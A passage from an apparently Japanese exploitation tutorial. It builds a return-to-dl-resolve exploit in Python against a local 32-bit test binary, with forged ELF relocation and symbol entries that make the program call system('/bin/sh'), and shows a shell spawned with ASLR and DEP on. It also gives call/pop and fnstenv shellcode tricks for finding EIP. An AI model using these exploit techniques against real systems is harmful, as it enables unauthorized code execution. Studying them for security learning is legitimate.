addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += struct.pack('<I', addr_got_write) # Elf32_Rel buf += struct.pack('<I', r_info) buf += 'A' * align_dynsym buf += struct.pack('<I', st_name) # Elf32_Sym buf += struct.pack('<I', 0) buf += struct.pack('<I', 0) buf += struct.pack('<I', 0x12) buf += 'write\x00' buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
実行すると、同じ結果となることが確認できる。
$ python test5.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
system関数でシェルを起動してみる
上で置いた文字列"write\x00"
を"system\x00"
に書き換え、スタックに並べた引数の位置をこれに合わせて直してみる。
# test6.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out #reloc_offset = 0x18 # objdump -d -j.plt a.out addr_relplt = 0x80482b0 # objdump -s -j.rel.plt a.out reloc_offset = (base_stage+28) - addr_relplt addr_got_write = 0x804a00c # objdump -s -j.rel.plt a.out #r_info = 0x407 # objdump -s -j.rel.plt a.out addr_dynsym = 0x80481cc # objdump -s -j.dynsym a.out addr_dynstr = 0x804822c # objdump -s -j.dynstr a.out addr_sym = base_stage + 36 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym index_dynsym = (addr_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8) | 0x7 #st_name = 0x40 # objdump -s -j.dynsym a.out st_name = (addr_sym + 16) - addr_dynstr buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', base_stage+80) buf += 'AAAA' buf += 'AAAA' buf += struct.pack('<I', addr_got_write) # Elf32_Rel buf += struct.pack('<I', r_info) buf += 'A' * align_dynsym buf += struct.pack('<I', st_name) # Elf32_Sym buf += struct.pack('<I', 0) buf += struct.pack('<I', 0) buf += struct.pack('<I', 0x12) buf += 'system\x00' buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) p.wait()
実行すると、次のようになる。
$ python test6.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
system関数が呼び出され、シェルが起動できていることがわかる。
コードを整理してみる
各種アドレスや構造体の配置、計算式などを整理したコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x080481cc # readelf -S a.out addr_dynstr = 0x0804822c # readelf -S a.out addr_relplt = 0x080482b0 # readelf -S a.out addr_plt = 0x08048300 # readelf -S a.out addr_bss = 0x0804a018 # readelf -S a.out addr_plt_read = 0x8048310 # objdump -d -j.plt a.out addr_got_read = 0x804a000 # objdump -d -j.plt a.out addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080483d3 # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 100) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) addr_reloc = base_stage + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAA' buf2 += struct.pack('<I', addr_plt) buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_got_read) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.wait()
このコードは実行ファイル内のアドレスのみを参照しており、libcバイナリから計算されるオフセットは利用していない。
引数をセットして実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLR+DEPが有効な条件下で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
関連リンク
- Advanced return-into-lib(c) exploits (PaX case study) (Phrack 58)
- Return to Dynamic Linker (Codegate 2014 Junior)
- Reversing the ELF: Stepping with GDB during PLT uses and .GOT fixup
- examining PLT/GOT structures
- dynofu - Tracing Shared Library Call Translation
- プログラムはどう動くのか? ~ ELFの黒魔術をかいまみる
- ELFの再配置シンボルの解決 | ψ(プサイ)の興味関心空間
シェルコードが置かれているアドレスを得る
シェルコード実行中にシェルコードが置かれているアドレスを得る方法についてのメモ。
callを使う
callを実行したとき、スタックにリターンアドレスとしてcallの次の命令のアドレスが積まれることを利用する。
/* geteip_call.s */ .intel_syntax noprefix .globl _start _start: jmp caller callee: jmp main caller: call callee main: pop ecx int3
アセンブルして対応するバイト列を確認してみる。
$ gcc -nostdlib geteip_call.s $ objdump -d a.out 08048098 <_start>: 8048098: eb 02 jmp 804809c <caller> 0804809a <callee>: 804809a: eb 05 jmp 80480a1 <main> 0804809c <caller>: 804809c: e8 f9 ff ff ff call 804809a <callee> 080480a1 <main>: 80480a1: 59 pop ecx 80480a2: cc int3
デバッグ用のint3命令を除くと、このコードの長さは9バイトである。 実行すると、ecxレジスタにcallの次の命令のアドレスがセットされる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/a.out Program received signal SIGTRAP, Trace/breakpoint trap. 0x080480a3 in ?? () (gdb) i r ecx ecx 0x80480a1 134512801 (gdb) quit
fnstenvを使う
x87 FPU命令のfnstenvが書き出す環境情報に、直前に実行したFPU命令のアドレスが含まれることを利用する。
具体的にはfnstenvが書き出すデータの12-15バイト目にこのアドレスが入るので、fnstenvのオペランドとして[esp-12]
を指定し、pop命令により取り出す。
/* geteip_fnstenv.s */ .intel_syntax noprefix .globl _start _start: fnop fnstenv [esp-12] pop ecx int3
fnop命令は普通のnop命令と同じく何もしないFPU命令であるが、ここで使うFPU命令は何でもよい。
アセンブルして対応するバイト列を確認してみる。
$ gcc -nostdlib geteip_fnstenv.s $ objdump -d a.out 08048098 <_start>: 8048098: d9 d0 fnop 804809a: d9 74 24 f4 fnstenv [esp-0xc] 804809e: 59 pop ecx 804809f: cc int3
デバッグ用のint3命令を除くと、このコードの長さは7バイトである。 実行すると、ecxレジスタにfnop命令のアドレスがセットされる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/a.out Program received signal SIGTRAP, Trace/breakpoint trap. 0x080480a0 in ?? () (gdb) i r ecx ecx 0x8048098 134512792 (gdb) quit